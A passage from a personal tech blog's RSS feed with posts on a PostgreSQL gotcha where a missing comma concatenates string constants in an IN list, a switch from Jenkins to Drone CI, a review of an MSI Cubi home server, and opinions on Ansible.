<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>NETDATA_CLAIM_TOKEN<span style="color:#f92672">=</span>your_token
</span></span><span style="display:flex;"><span>NETDATA_CLAIM_URL<span style="color:#f92672">=</span>https://app.netdata.cloud
</span></span><span style="display:flex;"><span>NETDATA_CLAIM_ROOMS<span style="color:#f92672">=</span>89f01a07-697e-40ce-b90c-3ee0091a02b5</span></span></code></pre></div>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/claiming-configuration.png" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/claiming-configuration_hu_7f3537d537932b1f.png 500w,
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/claiming-configuration_hu_68a89de759364cef.png 800w,
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/claiming-configuration_hu_aeeeaeb1fb26ce65.png 1200w,
  /2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/claiming-configuration_hu_6b6c380dd6422bbe.png 1500w'
  src="https://dizzy.zone/2024/01/20/Streaming-Netdata-metrics-from-TrueNAS-SCALE/claiming-configuration_hu_aeeeaeb1fb26ce65.png" 
  alt="The configuration parameters">
</a>
</div>
<p>After the installation is complete, you should see your node appear on Netdata cloud.</p>
<p>I hope this helps! If you&rsquo;ve got any questions shoot them in the comments below.</p>
]]></content:encoded>
        </item>
        <item>
            <title>SQL string constant gotcha</title>
            <link>https://dizzy.zone/2024/01/02/SQL-string-constant-gotcha/</link>
            <pubDate>Tue, 02 Jan 2024 12:11:20 +0200</pubDate>
            
            <guid>https://dizzy.zone/2024/01/02/SQL-string-constant-gotcha/</guid>
            <description><![CDATA[ <p>I was working on a project that uses PostgreSQL and as part of my task I needed to write a migration.
The migrations are written as plain SQL and applied using the <a href="https://github.com/golang-migrate/migrate">migrate</a> library.
The migration itself was not that complex, some rows needed to be updated where a column matched one of the values in a list.</p>
<p>In my rush, I&rsquo;ve opted for a rather simple query that went something like this:</p>]]></description>
            <content:encoded><![CDATA[ <p>I was working on a project that uses PostgreSQL and as part of my task I needed to write a migration.
The migrations are written as plain SQL and applied using the <a href="https://github.com/golang-migrate/migrate">migrate</a> library.
The migration itself was not that complex, some rows needed to be updated where a column matched one of the values in a list.</p>
<p>In my rush, I&rsquo;ve opted for a rather simple query that went something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">UPDATE</span> some_table <span style="color:#66d9ef">SET</span> some_column <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;some_value&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> some_other_column <span style="color:#66d9ef">IN</span> (
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_1&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_2&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_3&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_4&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">-- ...
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    <span style="color:#e6db74">&#39;value_26&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_27&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_28&#39;</span>,
</span></span><span style="display:flex;"><span>    <span style="color:#e6db74">&#39;value_29&#39;</span>
</span></span><span style="display:flex;"><span>);</span></span></code></pre></div>
<p>When the migration got executed on the testing environment, no errors were reported and all looked well. However, after some time I noticed that the migration failed to update some rows that I had anticipated.</p>
<p>The observant readers probably noticed that there&rsquo;s a missing comma after <code>value_27</code> in the previous snippet and this is indeed what caused the issue. What surprised me is that the query did not result in an error. Why is that? Let&rsquo;s explore.</p>
<p>I&rsquo;ll create a simple table and insert a few entries.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">CREATE</span> <span style="color:#66d9ef">TABLE</span> sessions(id SERIAL, browser varchar(<span style="color:#ae81ff">50</span>));
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">INSERT</span> <span style="color:#66d9ef">INTO</span> sessions(browser)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">VALUES</span> (<span style="color:#e6db74">&#39;chrome&#39;</span>), (<span style="color:#e6db74">&#39;brave&#39;</span>), (<span style="color:#e6db74">&#39;firefox&#39;</span>);</span></span></code></pre></div>
<p>Running the following query returns 3 rows, as expected.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> sessions 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> browser <span style="color:#66d9ef">in</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;chrome&#39;</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;brave&#39;</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;firefox&#39;</span>
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">-------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- id|browser|
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- --+-------+
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--  1|chrome |
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--  2|brave  |
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--  3|firefox|</span></span></span></code></pre></div>
<p>However, if I fail to include a comma after <code>brave</code> the resulting query returns a single row:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> sessions 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> browser <span style="color:#66d9ef">in</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;chrome&#39;</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;brave&#39;</span>
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;firefox&#39;</span>
</span></span><span style="display:flex;"><span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">-------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- id|browser|
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- --+-------+
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">--  1|chrome |</span></span></span></code></pre></div>
<p>The query does not result in an error and still yields some results. To better understand what is happening we can further simplify this example to a simple SELECT:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#e6db74">&#39;brave&#39;</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#39;firefox&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">-- -------------
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- ?column?    |
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- ------------+
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">-- bravefirefox|</span></span></span></code></pre></div>
<p>The original query failed to include the sessions with <code>brave</code> and <code>firefox</code> browsers because brave and firefox got concatenated resulting in the following query:
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> sessions 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> browser <span style="color:#66d9ef">in</span> (
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;chrome&#39;</span>,
</span></span><span style="display:flex;"><span>	<span style="color:#e6db74">&#39;bravefirefox&#39;</span>
</span></span><span style="display:flex;"><span>);</span></span></code></pre></div></p>
<p>What I find odd is that this behavior only exists if you include at least one newline between the two string constants. This means that
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#e6db74">&#39;brave&#39;</span> <span style="color:#e6db74">&#39;firefox&#39;</span>;</span></span></code></pre></div>
results in a syntax error.</p>
<p>This behavior is documented in the <a href="https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-STRINGS">PostgreSQL documentation</a>:</p>
<blockquote>
<p>This slightly bizarre behavior is specified by SQL; PostgreSQL is following the standard.</p></blockquote>
<p>After scratching my head for a bit, I then went on to try and figure out a way to minimize the chance of this happening to me in the future. If you&rsquo;re working with strings using <code>ANY</code> and providing an array as a parameter to it should keep you safe:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-sql" data-lang="sql"><span style="display:flex;"><span><span style="color:#66d9ef">SELECT</span> <span style="color:#f92672">*</span> <span style="color:#66d9ef">FROM</span> sessions 
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">WHERE</span> browser <span style="color:#f92672">=</span> <span style="color:#66d9ef">ANY</span>(<span style="color:#e6db74">&#39;{
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  &#34;chrome&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  &#34;brave&#34;,
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">  &#34;firefox&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">}&#39;</span>);</span></span></code></pre></div>
<p>Should you omit a comma it will let you know that you&rsquo;ve got a <code>malformed array literal</code>.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Moving from Jenkins to Drone</title>
            <link>https://dizzy.zone/2019/04/16/Moving-from-Jenkins-to-Drone/</link>
            <pubDate>Tue, 16 Apr 2019 14:10:17 +0000</pubDate>
            
            <guid>https://dizzy.zone/2019/04/16/Moving-from-Jenkins-to-Drone/</guid>
            <description><![CDATA[ <p><a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/">I&rsquo;ve written in the past</a> that this blog is a playground for me to try various tools and play with code around it. <a href="https://jenkins.io/">Jenkins</a> has been my choice as the CI for it since the start, mostly since it was something I&rsquo;m used to. However, I&rsquo;ve also stated that running it on an old laptop with no real backups is a recipe for disaster. I have since rectified the issue by hiding the laptop under a box in a closet but that meant moving away from Jenkins to something that&rsquo;s lighter and more portable. The choice is the self-hosted enterprise edition of <a href="https://drone.io/">Drone</a>.</p>]]></description>
            <content:encoded><![CDATA[ <p><a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/">I&rsquo;ve written in the past</a> that this blog is a playground for me to try various tools and play with code around it. <a href="https://jenkins.io/">Jenkins</a> has been my choice as the CI for it since the start, mostly since it was something I&rsquo;m used to. However, I&rsquo;ve also stated that running it on an old laptop with no real backups is a recipe for disaster. I have since rectified the issue by hiding the laptop under a box in a closet but that meant moving away from Jenkins to something that&rsquo;s lighter and more portable. The choice is the self-hosted enterprise edition of <a href="https://drone.io/">Drone</a>.</p>
<h2 id="the-setup">The setup</h2>
<p>Drone consists of two parts - server and agents. The server handles auth, users, secret management, handles hooks for source control and orchestrates the work for agents. The agents are responsible for actually executing the workflows they receive from the server. This basically means that you can have workers anywhere as long as they can reach the drone server. Drone is written in Go and is extremely lightweight. This means that it has an extremely low memory requirements which is of great advantage to me as I&rsquo;m trying to keep the costs to a minimum. The server I&rsquo;m running takes up around 15MB of memory while the worker takes 14MB. Everything is dockerized so it&rsquo;s super easy to deploy as well.</p>
<p>My setup consists of a server running in an AWS EC2 instance and a worker running at home in a <a href="https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/">MSI Cubi Silent NUC</a> I&rsquo;ve recently acquired. <a href="https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/">The Raspberry I&rsquo;ve used for jenkins</a> is also a great candidate to run a worker but due to the workloads I throw at it(lots of disk io - the sd card can&rsquo;t handle that. Looking at you - javascript.) it&rsquo;s less than ideal in my situation. I&rsquo;ll keep it on hand just in case I need more workers. The old laptop could also be a candidate here for the future. That&rsquo;s part of the joy with Drone - you can literally run it anywhere.</p>
<p>Drone looks for a <code>.drone.yml</code> file in an enabled repository. It&rsquo;s in this file that you specify your pipeline. What makes drone great is that you can actually run the pipeline locally, using the drone cli. It makes testing the builds super easy. That&rsquo;s a huge contrast to what I&rsquo;m used to with Jenkins(Disclaimer: I might just be a scrub, I&rsquo;m not hating on Jenkins). What this also means is that you really don&rsquo;t need to worry about storing the jobs themselves anywhere as they are just as safe as the rest of your code in your source control. Hopefully anyway.</p>
<p>The steps in the pipeline are run in docker containers which are thrown out after the pipeline is done. It means that the jobs are nice and reproducible. And while <a href="https://dizzy.zone/2018/02/24/Why-I-hate-swagger/">I hate YAML</a> the pipelines are quite easy to understand. <a href="https://github.com/juliantellez/drone-ci-pipeline/blob/develop/.drone.yml">Click for a look at an example</a>.</p>
<h2 id="the-verdict">The verdict</h2>
<p>I like it. Drone seems to be on a really good path towards becoming an excellent CI tool. There&rsquo;s things missing though. It seems a bit basic. Things like the lack of global secrets(they are now defined per-repo instead or I didn&rsquo;t manage to find them) or proper documentation as the current one seems a bit lacking. Took me quite a while to get my first proper job running and I&rsquo;ve only managed that after I&rsquo;ve looked at a few examples on the internet, rather than the docs. There&rsquo;s also the question of pricing. <a href="https://drone.io/enterprise/starter/#features">The website</a> is not super clear on the pricing, but from what I gather, the enterprise edition is free as long as you run less than 15000 jobs per year. The pricing afterwards is per user at an unknown rate. Anyways, I should be covered as I probably run less than 500 jobs per year and do not plan on adding new ones any time soon. There&rsquo;s also the lack of option to run multiple different jobs from the same repository, which leads to a pattern on many small repo&rsquo;s appearing on my source control. I&rsquo;m not too fond of that and wish there was a way to schedule quite a few jobs from a single repo.</p>
<p>Nonetheless, once you get the hang of it Drone seems to be a powerful tool. The UI is crisp, deploying it is easy and it runs on a potato. Everything I like from my CI installation. As for the lacking features - I&rsquo;m sure they are coming soon™.</p>
<p>I&rsquo;ll keep this space updated with my latest projects running on drone. Stay tuned!</p>
<blockquote>
<p>Have you used Drone? Do you prefer something else? Do let me know in the comments below.</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>My new server: MSI Cubi 3 Silent</title>
            <link>https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/</link>
            <pubDate>Sun, 14 Apr 2019 19:42:03 +0000</pubDate>
            
            <guid>https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/</guid>
            <description><![CDATA[ <p>I&rsquo;ve recently had my birthday and as a gift decided to give myself a NUC. The intention here is that I could replace the <a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/">old laptop running Jenkins and Grafana</a> with something that&rsquo;s a bit more silent and in a smaller form factor.</p>
<blockquote>
<p>Note that I&rsquo;m not affiliated with any of the hardware manufacturers in any way shape or form.</p></blockquote>
<h2 id="the-planned-change">The planned change</h2>
<p>The laptop I&rsquo;ve been using for Jenkins has become rather critical for this blog and a few side projects I&rsquo;ve got. This meant that I first needed to find a way to migrate everything to a new machine that would be coming. I&rsquo;ve then focused on rewriting my infra to code with the help of Ansible®. Even though <a href="https://dizzy.zone/2019/02/18/My-thoughts-on-ansible/">I&rsquo;m not a super big fan of it</a> I&rsquo;ve managed to write everything as an Ansible playbook. I did, however, skip the Jenkins and moved towards Drone CI instead. With this complete, I needed to figure out what type of a machine I might want to go for.</p>]]></description>
            <content:encoded><![CDATA[ <p>I&rsquo;ve recently had my birthday and as a gift decided to give myself a NUC. The intention here is that I could replace the <a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/">old laptop running Jenkins and Grafana</a> with something that&rsquo;s a bit more silent and in a smaller form factor.</p>
<blockquote>
<p>Note that I&rsquo;m not affiliated with any of the hardware manufacturers in any way shape or form.</p></blockquote>
<h2 id="the-planned-change">The planned change</h2>
<p>The laptop I&rsquo;ve been using for Jenkins has become rather critical for this blog and a few side projects I&rsquo;ve got. This meant that I first needed to find a way to migrate everything to a new machine that would be coming. I&rsquo;ve then focused on rewriting my infra to code with the help of Ansible®. Even though <a href="https://dizzy.zone/2019/02/18/My-thoughts-on-ansible/">I&rsquo;m not a super big fan of it</a> I&rsquo;ve managed to write everything as an Ansible playbook. I did, however, skip the Jenkins and moved towards Drone CI instead. With this complete, I needed to figure out what type of a machine I might want to go for.</p>
<p>The workloads I&rsquo;m running are not super duper heavy and usually, my machine is not running any heavy computation 24/7. The heaviest tasks it would be getting is building a container when a build pops up. Therefore I need something that&rsquo;s equipped with at least an i5 or equivalent as I want my builds to run in reasonable amounts of time. There needs to be at least 16GB of memory, as that will most likely get consumed as time goes as I tend to run more and more stuff on the machines I have at home. It&rsquo;s just part of my hobby - come up with a service I might not even need, write it and put it up on the machine I&rsquo;ve got. Bonus points go for being a small form factor as the laptop takes the valuable space which I could instead use for a board game or two. If possible, I&rsquo;d like it to be silent, preferably passive cooled. This is due to the fact as I tend to schedule some of the busier scheduled jobs for the middle of the night, the time I&rsquo;m least likely to have other jobs running. I also need an ssd. The storage size is not a huge factor as I&rsquo;m not storing anything that&rsquo;s large but the speed is of paramount importance. I do run quite a lot of javascript and that means tons of IO for small files. I&rsquo;ve ran into performance issues on <a href="https://dizzy.zone/2018/02/09/Jenkins-on-raspberry-pi-3/">my Raspberry Pi 3 Jenkins instance</a> with javascript jobs due to the limitations of the SD card performance. Jobs that would take seconds on a proper SSD can take minutes on a slow storage. I also did not want to spend a ton of it, if I could fit it in a 500 euro budget, I&rsquo;d be golden. Take note that I do live in Europe and electronics are way more expensive here than the other side of the pond.</p>
<p>Therefore I ended up with the following requirements:</p>
<ul>
<li>i5 or equivalent</li>
<li>16GB of ram</li>
<li>Passive cooling</li>
<li>Small form factor</li>
<li>SSD</li>
<li>500 Euros for it all</li>
</ul>
<p>I did a bit of digging and a NUC seemed a perfect candidate for the form factor I was looking for. There seem to be a only a few passively cooled ones but once I found the <a href="https://www.msi.com/Desktop/Cubi-3-Silent-S-7m.html">MSI Cubi 3 Silent S</a> I looked no further. It seemed to tick all the boxes, with support for an M.2 SSD as well.</p>
<h2 id="the-cost">The cost</h2>
<p>So with the choice made, I started digging through both local stores, amazon and other online retailers that do ship to Lithuania. The prices varied by only a little, so I went with a local option. Here&rsquo;s what components I went with and their price:</p>
<table>
  <thead>
      <tr>
          <th>Component</th>
          <th>Model</th>
          <th>Price</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>M.2 SSD</td>
          <td>ADATA XPG SX6000 256GB</td>
          <td>49.13€</td>
      </tr>
      <tr>
          <td>NUC</td>
          <td>MSI Cubi 3 Silent S-008B i5-7200U</td>
          <td>353.99€</td>
      </tr>
      <tr>
          <td>RAM</td>
          <td>DDR4 SODIMM Corsair Vengeance 16GB (2x8GB) 2133MHz</td>
          <td>96.86€</td>
      </tr>
  </tbody>
</table>
<p>For a grand total of 499.98€.</p>
<h2 id="the-struggle">The struggle</h2>
<p>After waiting for nearly a week for my Cubi to arrive, I&rsquo;ve started assembling it. The NUC is quality made. The aluminum looks top notch, there&rsquo;s plenty of soft-padding inside for all the components as to avoid any rattles and weird noises. The NUC is pretty heavy - an indicator for plenty of cooling present. Assembling everything was a breeze, but then I hit an issue. The issue that I&rsquo;ve struggled with for a while. The M.2 SSD was not detected by bios. I did some investigation on the internet, found that it&rsquo;s a common issue and that the OS setup would usually find the SSD. This did not work for me however. I&rsquo;ve tried Ubuntu, CentOS and Windows setups but none managed to detect the drive. I&rsquo;ve no idea if it&rsquo;s the cubi that&rsquo;s faulty or the drive. I had to fallback to an old ssd I had on hand to install the CentOS on it. I&rsquo;ve spent a good few hours playing with the BIOS, plugging and unplugging the drive but did not manage to get it to work. Since I don&rsquo;t have any other device with an M.2 slot I&rsquo;m unable to test the drive in isolation. I&rsquo;ve given up on it already but if you do have pointers for what I should try - do leave a comment. Despite this - I can&rsquo;t blame the Cubi - it does seem like a good product.</p>
<p>Once the OS was installed, I ran my prepared Ansible playbook to set up everything I need on it. This was rather painless despite me not being a fan. Hats off Ansible, you win this time.</p>
<h2 id="the-performance">The performance</h2>
<p>Anyway - the Cubi has now found it&rsquo;s proud home in our living room, behind the TV:</p>















  
  
  
  



















<div style="display: flex; justify-content: center;">
<a href="https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/cubi.jpg" target="_blank" style="box-shadow: none;"> 
<img 
  sizes="(min-width: 35em) 1200px, 100vw"
  srcset='
  /2019/04/14/My-new-server-MSI-Cubi-3-Silent/cubi_hu_af8705e8aea214c5.jpg 500w,
  /2019/04/14/My-new-server-MSI-Cubi-3-Silent/cubi_hu_481359aba4c1505f.jpg 800w,
  /2019/04/14/My-new-server-MSI-Cubi-3-Silent/cubi_hu_cb70fb48e9a29ae0.jpg 1200w,
  /2019/04/14/My-new-server-MSI-Cubi-3-Silent/cubi_hu_2393f417006e0f.jpg 1500w'
  src="https://dizzy.zone/2019/04/14/My-new-server-MSI-Cubi-3-Silent/cubi_hu_cb70fb48e9a29ae0.jpg" 
  alt="The MSI Cubi 3 Silent in its proud habitat.">
</a>
</div>
<p>I&rsquo;m not going to run any actual performance benchmarks on it. Instead, I&rsquo;ll do a laser-eyeball comparison between the cubi and my usual machine - a MacBook Pro. This one is a 2018 model with 2.2 GHz i7. I&rsquo;ll compare the two running the same Drone job while a drone agent is present on the system. Keep in mind that the MacBook is a rather congested machine as I&rsquo;m running a ton of stuff on it at all times. Albeit - it&rsquo;s not something that&rsquo;s doing a ton of heavy lifting but I&rsquo;ll probably be browsing while it builds in the background. I know this won&rsquo;t be an apples to apples comparison but I hope you&rsquo;re fine with that. Oh and my DockerForMac is set at 6CPU&rsquo;s. Here&rsquo;s the result:</p>
<table>
  <thead>
      <tr>
          <th>Machine</th>
          <th>Time taken</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>My MacBook</td>
          <td>10min 45sec</td>
      </tr>
      <tr>
          <td>My Cubi</td>
          <td>10min 5sec</td>
      </tr>
  </tbody>
</table>
<p>So the Cubi outdoes the MacBook. I really think if I were to leave the mac alone it would perform the build a tad quicker, but the Cubi seems to be doing well for the price.</p>
<p>As far as the temperatures go, the Cubi&rsquo;s CPU sits at 41°C on idle. While chewing on something a bit heavier it goes to around 55°C(I used <code>stress</code> to test this). I did not run it for hours though, so numbers might not represent a true stress test.</p>
<h2 id="the-conclusion">The conclusion</h2>
<p>I&rsquo;m pretty happy with the way the Cubi performs. Since I&rsquo;m not going to be pushing it 24/7 it seems to be appropriate for my use case. I&rsquo;m sure there are alternatives that might be a tad cheaper but since I keep it in the living room the aesthetics are also a consideration. It&rsquo;s a quality product that will hopefully last for a long time and be the host of many of my hobby projects.</p>
<blockquote>
<p>Maybe I should have opted for something else rather than the Cubi? Any projects I should try to put on it?</p></blockquote>
]]></content:encoded>
        </item>
        <item>
            <title>My thoughts on Ansible®</title>
            <link>https://dizzy.zone/2019/02/18/My-thoughts-on-Ansible/</link>
            <pubDate>Mon, 18 Feb 2019 19:07:19 +0000</pubDate>
            
            <guid>https://dizzy.zone/2019/02/18/My-thoughts-on-Ansible/</guid>
            <description><![CDATA[ <p>I&rsquo;ve written about the <a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/">infrastructure behind this blog in a previous post</a> and the major issue with it currently is the old laptop I have at home that&rsquo;s running the Jenkins instance. I really have no way of backing it all up. I&rsquo;ve asked around a bit and the <a href="https://www.reddit.com/r/devops/comments/97q9ik/infrastructure_feedback_request/">reddit thread I&rsquo;ve made</a> pointed me towards moving it all towards <a href="https://www.ansible.com/">Ansible</a>. Since people are using Ansible at work I thought it would be appropriate for me to try it as well.</p>]]></description>
            <content:encoded><![CDATA[ <p>I&rsquo;ve written about the <a href="https://dizzy.zone/2018/08/15/How-I-host-this-blog-CI-and-tooling/">infrastructure behind this blog in a previous post</a> and the major issue with it currently is the old laptop I have at home that&rsquo;s running the Jenkins instance. I really have no way of backing it all up. I&rsquo;ve asked around a bit and the <a href="https://www.reddit.com/r/devops/comments/97q9ik/infrastructure_feedback_request/">reddit thread I&rsquo;ve made</a> pointed me towards moving it all towards <a href="https://www.ansible.com/">Ansible</a>. Since people are using Ansible at work I thought it would be appropriate for me to try it as well.</p>
<p>So what I ended up doing is writing a playbook that will allow me to set everything up on a fresh machine. I&rsquo;m not going to go into much detail of the process itself or look at the playbook instead, I&rsquo;ll do a short summary of what I&rsquo;ve learned on my way there. I&rsquo;m not an expert in it by any means nor am I any good at it so do take everything you see here with a grain of salt.</p>
<h1 id="so-whats-this-ansible-thing-anyway">So what&rsquo;s this Ansible thing anyway?</h1>
<p>Well, Ansible is an open source configuration management and application deployment tool. There&rsquo;s probably a lot more to it than I just wrote but those are the parts I&rsquo;ve had contact with so far. In essence Ansible allows you to define collections of scripts (called playbooks) that define what should be installed and run in a server. This is exactly what I was looking for as I wanted to create a portable script that I can easily use to replicate my at home infrastructure setup in case my laptop burns to death. You write a yaml file containing all the steps needed to install and run the required pieces of the puzzle.</p>
<p>I was a bit confused at first as to why this is any better than bash but after using it for a while, it starts to make sense. With bash you&rsquo;d have to write a whole lot of boilerplate checking what has already been installed, what has already been run and what not. Ansible does that for you, it keeps track of what was run on which server so it does not perform the steps it does not need to perform. I would elaborate on the way it does this but I&rsquo;ve honestly no clue and don&rsquo;t think I need to know. All I know is it does and seems to do it very well.</p>
<p>Another layer above bash is called modules. These allow for easily performing common tasks, such as interacting with yum, pip or docker. There&rsquo;s plenty of modules to choose from so Ansible comes with a whole lot of functionality out of the box. It also handles secrets quite well - you can encrypt and decrypt secrets quite easily. Once you&rsquo;ve got a playbook setup it becomes trivial to scale to as many servers as you like. In short, it&rsquo;s a great tool for deploying stuff.</p>
<h1 id="its-great-but-i-hate-using-it">It&rsquo;s great but I hate using it</h1>
<p>Not everything went as smoothly as I had anticipated though. It took me quite a bit of time to get my first playbook going. I won&rsquo;t lie - I had a couple of examples to go by from work which did help me. Even so I found it rather frustrating having to do everything the Ansible way.</p>
<p>It feels that you need to spend a lot of time familiarizing yourself with Ansible prior to using it properly. I had to learn the <em>tool</em> to use it properly although I already have the knowledge how to set up my machine. While trying to write an Ansible playbook it feels as if I&rsquo;m not learning anything useful. All I&rsquo;m learning is a concrete implementation of infrastructure as code defined in yaml. I&rsquo;m learning the concrete data structures that I need to define for Ansible to behave the way I&rsquo;d expect it to. I&rsquo;m having to familiarize myself with the way Ansible handles folder structures in my playbook. One could say it&rsquo;s hidden behind a steep learning curve. This would be fine - I&rsquo;m not against learning something that&rsquo;s rather hard to do at first - I&rsquo;m totally up for a challenge. But here I feel I&rsquo;m not gaining any long term value. Ansible might be a good solution now but with the rapid way technology evolves now it might not last as long as I wish.</p>
<p>With Ansible I feel it wraps everything too nicely and I struggled to find the long lasting benefit and therefore the motivation to continue learning as I do not see how any of what I was learning was portable in the long run.</p>
<h1 id="im-not-the-target-audience">I&rsquo;m not the target audience</h1>
<p>I don&rsquo;t mean to bash on Ansible. It&rsquo;s a great tool at the hands of someone who can actually use it. However, I&rsquo;m not that person, nor I intend to be. I really wanted to take it, make a simple script to deploy my infra in half an hour, commit it, push it and forget about it till the heat death of the universe. It turned out to be way too complex for that and it shows that I&rsquo;ve probably taken a wrong tool for the job. What I probably need is a GUI layer on top of Ansible, called &ldquo;Ansible for dummies&rdquo; where I could click and drag and drop instead of touching yaml. Oh and I&rsquo;ve mentioned in the past that <a href="https://dizzy.zone/2018/02/24/Why-I-hate-swagger/#YAML-sucks">I&rsquo;m not a fan of yaml</a>.</p>
<p>All in all - I&rsquo;m happy I managed to finish the playbook but I&rsquo;ll be happier still if I don&rsquo;t have to do it again.</p>
]]></content:encoded>
        </item>
        <item>
            <title>Profiling gin with pprof</title>
            <link>https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/</link>
            <pubDate>Thu, 23 Aug 2018 15:15:01 +0000</pubDate>
            
            <guid>https://dizzy.zone/2018/08/23/Profiling-gin-with-pprof/</guid>
